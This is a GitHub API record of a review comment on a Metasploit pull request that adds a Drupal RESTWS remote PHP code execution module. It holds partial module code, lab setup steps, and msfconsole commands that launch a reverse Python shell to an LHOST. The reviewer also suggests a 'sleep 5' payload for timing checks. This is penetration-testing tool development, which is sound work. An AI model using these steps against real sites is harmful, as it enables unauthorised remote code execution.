{"action":"created","comment":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments/71260656","id":71260656,"diff_hunk":"@@ -0,0 +1,80 @@\n+##\n+# This module requires Metasploit: http://metasploit.com/download\n+# Current source: https://github.com/rapid7/metasploit-framework\n+##\n+\n+require 'msf/core'\n+\n+class MetasploitModule < Msf::Exploit::Remote\n+  Rank = ExcellentRanking\n+\n+  include Msf::Exploit::Remote::HttpClient\n+\n+  def initialize(info={})\n+    super(update_info(info,\n+      'Name'           => 'Drupal RESTWS Module 7.x Remote PHP Code Execution',\n+      'Description'    => %q{\n+        This module exploits the Drupal RESTWS module vulnerability.\n+        RESTWS alters the default page callbacks for entities to provide\n+        additional functionality. A vulnerability in this approach allows\n+        an unauthenticated attacker to send specially crafted requests resulting\n+        in arbitrary PHP execution\n+\n+        This module was tested against RESTWS 7.x with Drupal 7.5 installation on Ubuntu server.\n+      },\n+      'License'        => MSF_LICENSE,\n+      'Author'         =>\n+        [\n+          'Devin Zuczek',                        # discovery\n+          'Mehmet Ince <mehmet@mehmetince.net>'  # msf module\n+        ],\n+      'References'     =>\n+        [\n+          ['URL', 'https://www.drupal.org/node/2765567']\n+        ],\n+      'Privileged'     => false,\n+      'Payload'        =>\n+        {\n+          'DisableNops' => true,\n+          'Space'       => 1024,\n+          'Compat'      =>\n+            {\n+                'PayloadType' => 'cmd',\n+                'RequiredCmd' => 'generic python',\n+            }\n+        },\n+      'Platform'       => 'unix',\n+      'Arch'           => ARCH_CMD,\n+      'Targets'        => [ ['Automatic', {}] ],\n+      'DisclosureDate' => 'Jul 13 2016',\n+      'DefaultTarget'  => 0\n+      ))\n+\n+    register_options(\n+      [\n+        OptString.new('TARGETURI', [ true, \"The target URI of the Drupal installation\", '/'])\n+      ], self.class\n+    )\n+  end\n+\n+  def check\n+    url = normalize_uri(target_uri.path, \"node.xml\")\n+    res = send_request_cgi(\n+      'method' => 'GET',\n+      'uri' => url\n+    )\n+    if res && res.code == 403\n+      return Exploit::CheckCode::Appears","path":"modules/exploits/unix/webapp/drupal_restws_exec.rb","position":67,"original_position":67,"commit_id":"650034b60082da3fdc378aff5212b2d454696256","original_commit_id":"650034b60082da3fdc378aff5212b2d454696256","user":{"login":"brandonprry","id":483180,"avatar_url":"https://avatars.githubusercontent.com/u/483180?v=3","gravatar_id":"","url":"https://api.github.com/users/brandonprry","html_url":"https://github.com/brandonprry","followers_url":"https://api.github.com/users/brandonprry/followers","following_url":"https://api.github.com/users/brandonprry/following{/other_user}","gists_url":"https://api.github.com/users/brandonprry/gists{/gist_id}","starred_url":"https://api.github.com/users/brandonprry/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/brandonprry/subscriptions","organizations_url":"https://api.github.com/users/brandonprry/orgs","repos_url":"https://api.github.com/users/brandonprry/repos","events_url":"https://api.github.com/users/brandonprry/events{/privacy}","received_events_url":"https://api.github.com/users/brandonprry/received_events","type":"User","site_admin":false},"body":"You could implement a time-based check if you wanted to go above and beyond. Just do a handful of requests and get their average response time, then send a payload with 'sleep 5' or something and see if the response is avg + 5s.","created_at":"2016-07-19T01:38:45Z","updated_at":"2016-07-19T01:38:45Z","html_url":"https://github.com/rapid7/metasploit-framework/pull/7108#discussion_r71260656","pull_request_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/7108","_links":{"self":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments/71260656"},"html":{"href":"https://github.com/rapid7/metasploit-framework/pull/7108#discussion_r71260656"},"pull_request":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/7108"}}},"pull_request":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/7108","id":77860927,"html_url":"https://github.com/rapid7/metasploit-framework/pull/7108","diff_url":"https://github.com/rapid7/metasploit-framework/pull/7108.diff","patch_url":"https://github.com/rapid7/metasploit-framework/pull/7108.patch","issue_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/7108","number":7108,"state":"open","locked":false,"title":"Add Drupal RESTWS Remote Unauth PHP Code Exec","user":{"login":"mmetince","id":4004716,"avatar_url":"https://avatars.githubusercontent.com/u/4004716?v=3","gravatar_id":"","url":"https://api.github.com/users/mmetince","html_url":"https://github.com/mmetince","followers_url":"https://api.github.com/users/mmetince/followers","following_url":"https://api.github.com/users/mmetince/following{/other_user}","gists_url":"https://api.github.com/users/mmetince/gists{/gist_id}","starred_url":"https://api.github.com/users/mmetince/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/mmetince/subscriptions","organizations_url":"https://api.github.com/users/mmetince/orgs","repos_url":"https://api.github.com/users/mmetince/repos","events_url":"https://api.github.com/users/mmetince/events{/privacy}","received_events_url":"https://api.github.com/users/mmetince/received_events","type":"User","site_admin":false},"body":"This modules exploits RESTWS module for Drupal 7.x which is installed ~10k all over the world. Patch was released several days ago by Drupal Security Team.\r\n\r\nSince the exploitation is trivial and very easy to implement msf module, you may NOT to land this pull request. It's totally okay 👍 \r\n\r\n## Installation\r\nSince Kali has upgraded their PHP version to 7.0, this might be trouble for Drupal 7.0 . So my suggestion is use PHP 5.x \r\n\r\n- Download latest Drupal (which is 7.5 right now) and install it.\r\n- Download following 2 module and extract it under the sites/all/modules . Entity modules is must be installed due to RESTWS dependency.\r\n\r\nhttps://ftp.drupal.org/files/projects/entity-7.x-1.7.zip\r\nhttps://ftp.drupal.org/files/projects/restws-7.x-2.5.tar.gz\r\n\r\n- Enable both through administrator panel ( Administrator > Modules > -at the end of the list- )\r\n\r\n## Verification\r\n\r\n- [ ] Start `msfconsole`\r\n- [ ] `use exploit/unix/webapp/drupal_restws_exec`\r\n- [ ] `set RHOST 10.0.0.157`\r\n- [ ] `set TARGETURI drupal`\r\n- [ ] `set payload cmd/unix/reverse_python`\r\n- [ ] `set LHOST 10.0.0.1`\r\n- [ ] `exploit`\r\n- [ ] **Verify** `Command shell session 1 opened...` prompted on your terminal. \r\n- [ ] Wait for a while\r\n- [ ] **Verify** Output of `id` command.\r\n\r\n<img width=\"796\" alt=\"screen shot 2016-07-18 at 21 38 45\" src=\"https://cloud.githubusercontent.com/assets/4004716/16926867/62fcf29a-4d33-11e6-8e42-3b35da317a7c.png\">","created_at":"2016-07-18T19:05:06Z","updated_at":"2016-07-19T01:38:45Z","closed_at":null,"merged_at":null,"merge_commit_sha":"a00c7d212859c3d3065e5243089f69f4b82ef8bc","assignee":null,"assignees":[],"milestone":null,"commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/7108/commits","review_comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/7108/comments","review_comment_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments{/number}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/7108/comments","statuses_url":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/650034b60082da3fdc378aff5212b2d454696256","head":{"label":"mmetince:drupal_restws_exec","ref":"drupal_restws_exec","sha":"650034b60082da3fdc378aff5212b2d454696256","user":{"login":"mmetince","id":4004716,"avatar_url":"https://avatars.githubusercontent.com/u/4004716?v=3","gravatar_id":"","url":"https://api.github.com/users/mmetince","html_url":"https://github.com/mmetince","followers_url":"https://api.github.com/users/mmetince/followers","following_url":"https://api.github.com/users/mmetince/following{/other_user}","gists_url":"https://api.github.com/users/mmetince/gists{/gist_id}","starred_url":"https://api.github.com/users/mmetince/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/mmetince/subscriptions","organizations_url":"https://api.github.com/users/mmetince/orgs","repos_url":"https://api.github.com/users/mmetince/repos","events_url":"https://api.github.com/users/mmetince/events{/privacy}","received_events_url":"https://api.github.com/users/mmetince/received_events","type":"User","site_admin":false},"repo":{"id":18488065,"name":"metasploit-framework","full_name":"mmetince/metasploit-framework","owner":{"login":"mmetince","id":4004716,"avatar_url":"https://avatars.githubusercontent.com/u/4004716?v=3","gravatar_id":"","url":"https://api.github.com/users/mmetince","html_url":"https://github.com/mmetince","followers_url":"https://api.github.com/users/mmetince/followers","following_url":"https://api.github.com/users/mmetince/following{/other_user}","gists_url":"https://api.github.com/users/mmetince/gists{/gist_id}","starred_url":"https://api.github.com/users/mmetince/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/mmetince/subscriptions","organizations_url":"https://api.github.com/users/mmetince/orgs","repos_url":"https://api.github.com/users/mmetince/repos","events_url":"https://api.github.com/users/mmetince/events{/privacy}","received_events_url":"https://api.github.com/users/mmetince/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/mmetince/metasploit-framework","description":"Metasploit Framework","fork":true,"url":"https://api.github.com/repos/mmetince/metasploit-framework","forks_url":"https://api.github.com/repos/mmetince/metasploit-framework/forks","keys_url":"https://api.github.com/repos/mmetince/metasploit-framework/keys{/key_id}","collaborators_url":"https://api.github.com/repos/mmetince/metasploit-framework/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/mmetince/metasploit-framework/teams","hooks_url":"https://api.github.com/repos/mmetince/metasploit-framework/hooks","issue_events_url":"https://api.github.com/repos/mmetince/metasploit-framework/issues/events{/number}","events_url":"https://api.github.com/repos/mmetince/metasploit-framework/events","assignees_url":"https://api.github.com/repos/mmetince/metasploit-framework/assignees{/user}","branches_url":"https://api.github.com/repos/mmetince/metasploit-framework/branches{/branch}","tags_url":"https://api.github.com/repos/mmetince/metasploit-framework/tags","blobs_url":"https://api.github.com/repos/mmetince/metasploit-framework/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/mmetince/metasploit-framework/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/mmetince/metasploit-framework/git/refs{/sha}","trees_url":"https://api.github.com/repos/mmetince/metasploit-framework/git/trees{/sha}","statuses_url":"https://api.github.com/repos/mmetince/metasploit-framework/statuses/{sha}","languages_url":"https://api.github.com/repos/mmetince/metasploit-framework/languages","stargazers_url":"https://api.github.com/repos/mmetince/metasploit-framework/stargazers","contributors_url":"https://api.github.com/repos/mmetince/metasploit-framework/contributors","subscribers_url":"https://api.github.com/repos/mmetince/metasploit-framework/subscribers","subscription_url":"https://api.github.com/repos/mmetince/metasploit-framework/subscription","commits_url":"https://api.github.com/repos/mmetince/metasploit-framework/commits{/sha}","git_commits_url":"https://api.github.com/repos/mmetince/metasploit-framework/git/commits{/sha}","comments_url":"https://api.github.com/repos/mmetince/metasploit-framework/comments{/number}","issue_comment_url":"https://api.github.com/repos/mmetince/metasploit-framework/issues/comments{/number}","contents_url":"https://api.github.com/repos/mmetince/metasploit-framework/contents/{+path}","compare_url":"https://api.github.com/repos/mmetince/metasploit-framework/compare/{base}...{head}","merges_url":"https://api.github.com/repos/mmetince/metasploit-framework/merges","archive_url":"https://api.github.com/repos/mmetince/metasploit-framework/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/mmetince/metasploit-framework/downloads","issues_url":"https://api.github.com/repos/mmetince/metasploit-framework/issues{/number}","pulls_url":"https://api.github.com/repos/mmetince/metasploit-framework/pulls{/number}","milestones_url":"https://api.github.com/repos/mmetince/metasploit-framework/milestones{/number}","notifications_url":"https://api.github.com/repos/mmetince/metasploit-framework/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/mmetince/metasploit-framework/labels{/name}","releases_url":"https://api.github.com/repos/mmetince/metasploit-framework/releases{/id}","deployments_url":"https://api.github.com/repos/mmetince/metasploit-framework/deployments","created_at":"2014-04-06T11:25:11Z","updated_at":"2016-03-02T21:43:01Z","pushed_at":"2016-07-18T22:01:20Z","git_url":"git://github.com/mmetince/metasploit-framework.git","ssh_url":"git@github.com:mmetince/metasploit-framework.git","clone_url":"https://github.com/mmetince/metasploit-framework.git","svn_url":"https://github.com/mmetince/metasploit-framework","homepage":"http://www.metasploit.com/","size":284222,"stargazers_count":2,"watchers_count":2,"language":"Ruby","has_issues":false,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":0,"mirror_url":null,"open_issues_count":0,"forks":0,"open_issues":0,"watchers":2,"default_branch":"master"}},"base":{"label":"rapid7:master","ref":"master","sha":"8d8e1f80f50c2f950d66807192efefd9e54d6d1e","user":{"login":"rapid7","id":1013671,"avatar_url":"https://avatars.githubusercontent.com/u/1013671?v=3","gravatar_id":"","url":"https://api.github.com/users/rapid7","html_url":"https://github.com/rapid7","followers_url":"https://api.github.com/users/rapid7/followers","following_url":"https://api.github.com/users/rapid7/following{/other_user}","gists_url":"https://api.github.com/users/rapid7/gists{/gist_id}","starred_url":"https://api.github.com/users/rapid7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rapid7/subscriptions","organizations_url":"https://api.github.com/users/rapid7/orgs","repos_url":"https://api.github.com/users/rapid7/repos","events_url":"https://api.github.com/users/rapid7/events{/privacy}","received_events_url":"https://api.github.com/users/rapid7/received_events","type":"Organization","site_admin":false},"repo":{"id":2293158,"name":"metasploit-framework","full_name":"rapid7/metasploit-framework","owner":{"login":"rapid7","id":1013671,"avatar_url":"https://avatars.githubusercontent.com/u/1013671?v=3","gravatar_id":"","url":"https://api.github.com/users/rapid7","html_url":"https://github.com/rapid7","followers_url":"https://api.github.com/users/rapid7/followers","following_url":"https://api.github.com/users/rapid7/following{/other_user}","gists_url":"https://api.github.com/users/rapid7/gists{/gist_id}","starred_url":"https://api.github.com/users/rapid7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rapid7/subscriptions","organizations_url":"https://api.github.com/users/rapid7/orgs","repos_url":"https://api.github.com/users/rapid7/repos","events_url":"https://api.github.com/users/rapid7/events{/privacy}","received_events_url":"https://api.github.com/users/rapid7/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/rapid7/metasploit-framework","description":"Metasploit Framework","fork":false,"url":"https://api.github.com/repos/rapid7/metasploit-framework","forks_url":"https://api.github.com/repos/rapid7/metasploit-framework/forks","keys_url":"https://api.github.com/repos/rapid7/metasploit-framework/keys{/key_id}","collaborators_url":"https://api.github.com/repos/rapid7/metasploit-framework/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/rapid7/metasploit-framework/teams","hooks_url":"https://api.github.com/repos/rapid7/metasploit-framework/hooks","issue_events_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/events{/number}","events_url":"https://api.github.com/repos/rapid7/metasploit-framework/events","assignees_url":"https://api.github.com/repos/rapid7/metasploit-framework/assignees{/user}","branches_url":"https://api.github.com/repos/rapid7/metasploit-framework/branches{/branch}","tags_url":"https://api.github.com/repos/rapid7/metasploit-framework/tags","blobs_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/refs{/sha}","trees_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/trees{/sha}","statuses_url":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/{sha}","languages_url":"https://api.github.com/repos/rapid7/metasploit-framework/languages","stargazers_url":"https://api.github.com/repos/rapid7/metasploit-framework/stargazers","contributors_url":"https://api.github.com/repos/rapid7/metasploit-framework/contributors","subscribers_url":"https://api.github.com/repos/rapid7/metasploit-framework/subscribers","subscription_url":"https://api.github.com/repos/rapid7/metasploit-framework/subscription","commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/commits{/sha}","git_commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/commits{/sha}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/comments{/number}","issue_comment_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/comments{/number}","contents_url":"https://api.github.com/repos/rapid7/metasploit-framework/contents/{+path}","compare_url":"https://api.github.com/repos/rapid7/metasploit-framework/compare/{base}...{head}","merges_url":"https://api.github.com/repos/rapid7/metasploit-framework/merges","archive_url":"https://api.github.com/repos/rapid7/metasploit-framework/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/rapid7/metasploit-framework/downloads","issues_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues{/number}","pulls_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls{/number}","milestones_url":"https://api.github.com/repos/rapid7/metasploit-framework/milestones{/number}","notifications_url":"https://api.github.com/repos/rapid7/metasploit-framework/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/rapid7/metasploit-framework/labels{/name}","releases_url":"https://api.github.com/repos/rapid7/metasploit-framework/releases{/id}","deployments_url":"https://api.github.com/repos/rapid7/metasploit-framework/deployments","created_at":"2011-08-30T06:13:20Z","updated_at":"2016-07-18T22:28:25Z","pushed_at":"2016-07-18T22:01:23Z","git_url":"git://github.com/rapid7/metasploit-framework.git","ssh_url":"git@github.com:rapid7/metasploit-framework.git","clone_url":"https://github.com/rapid7/metasploit-framework.git","svn_url":"https://github.com/rapid7/metasploit-framework","homepage":"http://www.metasploit.com/","size":1378743,"stargazers_count":6181,"watchers_count":6181,"language":"Ruby","has_issues":true,"has_downloads":true,"has_wiki":true,"has_pages":true,"forks_count":4171,"mirror_url":null,"open_issues_count":297,"forks":4171,"open_issues":297,"watchers":6181,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/7108"},"html":{"href":"https://github.com/rapid7/metasploit-framework/pull/7108"},"issue":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/issues/7108"},"comments":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/issues/7108/comments"},"review_comments":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/7108/comments"},"review_comment":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/7108/commits"},"statuses":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/650034b60082da3fdc378aff5212b2d454696256"}}}}
{"actor":{"display_login":"brandonprry"}}